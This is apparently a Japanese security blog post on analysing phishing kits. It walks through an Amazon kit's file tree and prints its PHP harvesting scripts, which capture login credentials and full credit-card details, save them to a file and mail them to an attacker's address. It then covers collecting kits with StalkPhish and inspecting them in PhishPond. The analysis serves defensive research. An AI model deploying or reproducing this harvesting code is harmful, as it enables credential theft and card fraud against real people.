環境
OS : macOS 12.2
Docker Engine : 20.10.12
フィッシングキットについて
簡単に説明すると、フィッシングサイトを簡単に構築するためのツールみたいなもの。
これを使うことで、誰でも簡単かつ大量にフィッシングサイトを構築することが可能になる。
フィッシングキットのサンプル
サンプルとしてAmazonのフィッシングキットを見てみる。
zipファイルの中身を表示する。
Amazon
├── Billing.php
├── Help.php
├── action_page.php
├── action_page_2.php
├── cc-lRj.png
├── confirmed.php
├── content
│ ├── 81Ma9HXt-LL._SS100_.png
│ ├── ADBLCRE_928_AmazonBeaconWW3._V144350231_.png
│ ├── BeaconSprite-US-01._V141013396_ (1).png
│ ├── BeaconSprite-US-01._V141013396_.png
│ ├── FO_WOMEN._V144617813_.png
│ ├── Gamer_Weekend_GNO._V142953523_.png
│ ├── US-secure-combined-1939234223_.css
│ ├── acorn._V192250692_.gif
│ ├── add-to-cart-106x22._V197414670_.gif
│ ├── amazon_logo_no-org_mid._V153387053_.png
│ ├── amznbtn-sprite03._V163527511_.png
│ ├── amznbtn-sprite03.png
│ ├── andy-mac_sport_flyout5._V144191585_.png
│ ├── ap-flex-reduced-nav-1.1._V148627780_.js
│ ├── ap-flex-reduced-nav-2.0._V393733149_.js
│ ├── ap-flex-reduced-nav._3C8_.css
│ ├── blank-pixel._V192192429_.gif
│ ├── books_bob-so-far_flyout._V144559233_.png
│ ├── browse_kindle-092811-02._V142508713_.png
│ ├── btn-close._V192250694_.gif
│ ├── btn_close._V192188154_.gif
│ ├── btn_close.gif
│ ├── close-tan-sm-dn._V192185961_.gif
│ ├── close-tan-sm._V192185930_.gif
│ ├── confirm-card._V17236_.png
│ ├── css-buttons-6.01._V147297482_.css
│ ├── css_left.gif
│ ├── deal_notifier-v47._V143310980_.js
│ ├── deal_notifier-v47._V14397098.js
│ ├── done.png
│ ├── dvg-thq-actionpack-2_flyout._V142988783_.png
│ ├── error-sprite-mini.gif
│ ├── error-sprite.gif
│ ├── favicon.gif
│ ├── forester-client-min-4090235136._V1_.js
│ ├── fwcim._V182746849_.js
│ ├── gno2a._V144250862_.png
│ ├── index.php
│ ├── jquery-1.2.6.min._V253690767_.js
│ ├── jserrors-min-3150624353._V1_.js
│ ├── kindle-family-02b._V139448121_.jpg
│ ├── left-arrow-semi-rd._V17361814_.gif
│ ├── loadIndicator-label.gif
│ ├── loading-bar-small._V192188123_.gif
│ ├── loading-small._V192238939_ (1).gif
│ ├── loading-small._V192238939_.gif
│ ├── nav-pop-8bit-h._V155961234_.png
│ ├── nav-pop-8bit-v._V155961234_.png
│ ├── nav-pop-h-v2._V137157005_.png
│ ├── nav-pop-v-v2._V137157005_.png
│ ├── navAmazonLogoFooter._V169459313_.gif
│ ├── navPackedSprites-US-22._V183711640_.png
│ ├── no-img-sm._V192198896_.gif
│ ├── orange_bullet.png
│ ├── po_bottom._V265110084_.png
│ ├── po_bottom.png
│ ├── po_bottom_left._V265110084_.png
│ ├── po_bottom_left.png
│ ├── po_bottom_right._V265110087_.png
│ ├── po_bottom_right.png
│ ├── po_left.png
│ ├── po_left_17._V248144977_.png
│ ├── po_right.png
│ ├── po_right_17._V248144979_.png
│ ├── po_top._V265110086_.png
│ ├── po_top.png
│ ├── po_top_left._V265110087_.png
│ ├── po_top_left.png
│ ├── po_top_right._V265110087_.png
│ ├── po_top_right.png
│ ├── right-arrow-semi-rd._V17361809_.gif
│ ├── save_and_add_payment_yellow._V162939631_.gif
│ ├── save_and_continue_white._V162939616_.gif
│ ├── shipment_large_lt._V192250661_.gif
│ ├── sign-in-secure._V192194766_.gif
│ ├── site-wide-7888076775._V1_.js
│ ├── site-wide-9224333_V1_.css
│ ├── site-wide-a04329._V1_.css
│ ├── sliced-box-bl._V47082482_.gif
│ ├── sliced-box-br._V47062575_.gif
│ ├── sliced-box-tbevel._V47082452_.gif
│ ├── sliced-box-tl._V6007502_.gif
│ ├── sliced-box-tr._V6007499_.gif
│ ├── snake._V192571611_.gif
│ ├── snake.gif
│ ├── spinneralert._V194172225_.gif
│ ├── sprite-arrow-v._V219326286_.png
│ ├── sprite-h._V156433805_.png
│ ├── sprite-h._V219326280_.png
│ ├── sprite-site-wide-2._V163715549_.png
│ ├── sprite-v._V197405518_.png
│ ├── sprite-v._V219326283_.png
│ ├── texttrace_typ._V183418138_.js
│ ├── toys-summer-flyout._V147747402_.png
│ ├── transparent-pixel._V192234675_.gif
│ ├── viewcartcheckoutmedium._V195191215_.gif
│ ├── wcs-css-buttons-31245272._V1_.css
│ ├── wcs-ya-homepage-293453433._V1_.css
│ ├── wcs-ya-homepage-cn-2642342._V1_.css
│ └── wcs-ya-homepage-cn-merged-714969038._V1_.css
├── cvv.gif
├── files_billing2
│ ├── css
│ │ ├── Style.css
│ │ ├── bootstrap.min.css
│ │ ├── check.css
│ │ ├── images - Copy.png
│ │ ├── images.png
│ │ ├── index.php
│ │ ├── style-login-desktop.css
│ │ └── style-login-mobile.css
│ ├── img
│ │ ├── 33.gif
│ │ ├── account.png
│ │ ├── btn.png
│ │ ├── btn2.png
│ │ ├── favicon.ico
│ │ ├── footer-login-desktop.png
│ │ ├── footer-login-mobile.png
│ │ ├── footer.png
│ │ ├── header-desktop.png
│ │ ├── header-mobile.png
│ │ ├── i1.png
│ │ ├── i2.png
│ │ ├── i3.png
│ │ ├── i4.jpg
│ │ ├── icon-app.jpg
│ │ ├── index.php
│ │ ├── login-desktop.png
│ │ ├── login-mobile.png
│ │ ├── navbar-repeat-desktop.png
│ │ ├── navbar-repeat-login.png
│ │ ├── navbar-repeat-mobile.png
│ │ ├── navbar.png
│ │ ├── payment.png
│ │ ├── sub-navbar.png
│ │ ├── vbv.png
│ │ └── vbv2.png
│ ├── index.php
│ └── js
│ ├── ccFormat.js
│ ├── index.php
│ ├── jquery.creditCardValidator - Copy.js
│ ├── jquery.creditCardValidator.js
│ ├── jquery.maskedinput.js
│ ├── jquery.min.js
│ ├── script-login-desktop.js
│ └── script-login-mobile.js
├── index.php
└── to.php
content配下にフィッシングサイトに使われている画像が保存されている。
Amazonに関係ない画像も含まれている。
また、to.phpに攻撃者のメールアドレスが書かれている。
<?php
$TO = "xxx@gmail.com";
?>
//メールアドレスの一部をxxxに置き換えている。
「action_page.php」では、メールアドレスとパスワード・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、「to.php」に書かれているメールアドレスに送信している。
<?php
include "to.php";
$Email = $_POST['Email'];
$Pass = $_POST['Pass'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-1 -------------
Email : $Email
Pass : $Pass
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Login | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());
echo "<META HTTP-EQUIV='refresh' content='1; URL=Billing.php'>";exit;
?>
「action_page_2.php」では、クレジットカードの情報・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、 to.phpに書かれているメールアドレスに送信している。
<?php
include "to.php";
$CCName = $_POST['CCName'];
$card_number= $_POST['card_number'];
$Month = $_POST['Month'];
$Year = $_POST['Year'];
$CVV = $_POST['CVV'];
$Address = $_POST['Address'];
$City = $_POST['City'];
$State = $_POST['State'];
$ZipCode = $_POST['ZipCode'];
$Country = $_POST['Country'];
$PhoneNumber = $_POST['PhoneNumber'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-2 -------------
CCName : $CCName
card_number : $card_number
Month : $Month / Year : $Year
CVV : $CVV
Address : $Address
City : $City
State : $State
ZipCode : $ZipCode
Country : $Country
PhoneNumber : $PhoneNumber
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Credit Card | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());
echo "<META HTTP-EQUIV='refresh' content='1; URL=confirmed.php'>";exit;
?>
フィッシングキットを分析する目的
・対象のフィッシングサイトがどのような挙動をするのか。
・盗んだ情報がどこに送られるのか。(攻撃者の追跡)
フィッシングキットの収集
StalkPhishについて
フィッシングキットを展開するときに、フィッシングキットのURLが含まれていることがある。
このツールは下記のフィッシングレポジトリからフィッシングサイトのURLを収集し、その中にフィッシングキットのURLがないか探してくれる。
・urlscan.io
・urlquery
・PhishTank
・OpenPhish
・PhishStats
・Phishing.Database
※urlscan.ioとPhishTankはAPIKeyが必要。
環境構築
docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。
$ docker-compose up --build -d
使ってみる
example.confが設定ファイルになっている。
まず、下記のコマンドでフィッシングサイトを収集する。
$ docker exec -it stalkphish sh
/ # cd /opt/StalkPhish/stalkphish/
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf
実行画面
収集したURLから、フィッシングキットをダウンロードしたい場合は、-Gをつける。
ダウンロードしたフィッシングキットはデフォルトの設定では、./dl/に保存される。
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -G
特定のフィッシングサイトを収集したい場合は、-sをつける。
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -s amazon
///「amazon」のキーワードで収集
収集したフィッシングサイトのURLはsqlite3で見ることができる。
/opt/StalkPhish/stalkphish # sqlite3 ./db/StalkPhish.sqlite3 'select * from StalkPhish'
フィッシングキットの分析
PhishPondについて
Docker上でフィッシングキットを分析できるようにしたもの。
仮想ブラウザやmitmproxyなどのツールが含まれている。
環境構築
wwwフォルダ(welcome.phpが置いてあるところ)に、展開したフィッシングキットを置く。
docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。
$ docker-compose up -d
localhost:5800で仮想ブラウザ、localhost:8080でmitmproxyにアクセスできる。
証明書の設定
- 仮想ブラウザ(Firefox)の設定画面で、「view certificates」を開く。
- 「Authorities」タブの「Import」をクリック。
- 「/config/certs/mitmproxy-ca-cert.pem」を選択する。
- 「Trust this CA to identify websites」にチェックを入れてOKをクリック。
これで環境構築は完了する。
使ってみる
Amazonのフィッシングサイト(上のサンプルとは別のもの)にアクセスしてみる。
mitmproxyの画面でトラフィックを分析できる。
メールアドレスとパスワードを入力すると、電話番号やクレジットカード番号などの情報を入力する画面に遷移する。
その時に、メールアドレスとパスワードの情報が送信されていることがわかる。
これらの情報の入力が完了し、3Dセキュアの画面に遷移したときにクレジットカード番号などの情報が送信されている。
3Dセキュアの情報を入力すると、これらの情報も送信されている。
Firefoxの文字化けについて
デフォルトの設定のままで、日本語のフィッシングサイトを表示すると文字化けしてしまう。
そのため、docker-compose.ymlの下記の矢印の部分を追加する必要がある。
browser:
build:
context: https://github.com/jlesage/docker-firefox.git
shm_size: '2gb'
ports:
- "5800:5800"
container_name: 'firefox'
volumes:
- browser-volume:/config:rw
- mitm-volume:/config/certs/
depends_on:
- mitmproxy
links:
- mitmproxy
- webserver
networks:
- phishpond_network
environment:
- FF_PREF_PROXY_TYPE=network.proxy.type=1
- FF_PREF_HTTP_PROXY=network.proxy.http=\"mitmproxy\"
- FF_PREF_HTTP_PROXY_PORT=network.proxy.http_port=8080
- FF_PREF_HTTPS_PROXY=network.proxy.ssl=\"mitmproxy\"
- FF_PREF_HTTPS_PROXY_PORT=network.proxy.ssl_port=8080
- FF_PREF_CAPTIVE_PORTAL=network.captive-portal-service.enabled=false
- DISPLAY_WIDTH=1280
- DISPLAY_HEIGHT=768
- ENABLE_CJK_FONT=1 <--- 追加
フィッシングキットの参考情報
StalkPhish
0xDanielLopez/phishing_kits
フィッシングキット16shopの分析記事
某のフィッシングキットから見る、調査のときに留意したいクローキングのこと